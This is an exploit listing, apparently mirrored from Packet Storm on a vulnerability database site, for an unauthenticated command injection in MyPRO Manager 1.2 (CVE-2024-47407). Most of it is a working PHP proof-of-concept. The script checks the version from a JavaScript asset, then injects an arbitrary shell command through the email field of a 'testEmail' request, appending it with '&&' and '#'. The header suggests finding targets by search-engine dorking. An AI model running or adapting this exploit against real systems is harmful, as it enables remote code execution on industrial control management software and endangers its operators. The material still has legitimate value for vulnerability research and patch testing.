Lucene search
K

📄 MyPRO Manager 1.2 Command Injection

🗓️ 30 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 138 Views

MyPRO Manager versions 1.2 and below have unauthenticated command injection CVE 2024 47407.

Related
Code
=============================================================================================================================================
    | # Title     : MyPRO Manager 1.2 php code injection                                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.myscada.org/mypro/                                                                                              |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: MyPRO Manager versions 1.2 and below suffer from an unauthenticated command injection vulnerability.
    
        (Related : https://packetstorm.news/files/id/189175/ Related CVE numbers: 	CVE-2024-47407 ) .
    	
    [+] save code as poc.php.
    
    [+] Set Target : line 79.
    
    [+] Usage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    class MyPROManagerExploit {
        private $targetUri;
        private $rport = 34022;
        private $ssl = false;
        private $targetPath = '/';
        
        public function __construct($targetUri) {
            $this->targetUri = $targetUri;
        }
    
        public function check() {
            try {
                $url = $this->targetUri . '/assets/index-Aup6jYxO.js';
                $response = $this->sendRequest($url, 'GET');
                
                if (preg_match('/const v="([^"]+)"/', $response, $matches)) {
                    $version = $matches[1];
                    echo 'Version retrieved: ' . $version . "\n";
                    if (version_compare($version, '1.2', '<=')) {
                        return "Appears vulnerable";
                    }
                    return "Safe";
                }
            } catch (Exception $e) {
                return "Unknown";
            }
            return "Unknown";
        }
    
        public function exploit($cmd) {
            $this->executeCommand($cmd);
        }
    
        private function executeCommand($cmd) {
            $this->execMyPROMgr($cmd);
            echo 'Exploit finished, check thy shell.' . "\n";
        }
    
        private function execMyPROMgr($cmd) {
            $postData = [
                'command' => 'testEmail',
                'email' => $this->generateRandomString(3, 12) . '@' . $this->generateRandomString(4, 8) . '.com&&' . $cmd . ' #'
            ];
            
            $response = $this->sendRequest($this->targetUri . '/get', 'POST', json_encode($postData));
            
            if ($response && $this->getHttpResponseCode($response) == 200) {
                echo 'Command successfully executed, check your shell.' . "\n";
            } else {
                echo 'Unexpected or no reply received.' . "\n";
            }
        }
    
        private function sendRequest($url, $method, $data = null) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
            if ($method === 'POST') {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
                curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
            }
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        private function generateRandomString($minLength, $maxLength) {
            $length = rand($minLength, $maxLength);
            return substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);
        }
    
        private function getHttpResponseCode($response) {
            return substr($response, 9, 3); // Assuming response contains status code as the first 3 digits after HTTP/1.1
        }
    }
    
    // Example usage
    $exploit = new MyPROManagerExploit('http://example.com');
    $checkResult = $exploit->check();
    echo $checkResult . "\n";
    
    if ($checkResult == "Appears vulnerable") {
        $exploit->exploit('id');  // Exploit with a sample command like 'id'
    }
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jan 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 410
CVSS 3.110
EPSS0.65634
SSVC
138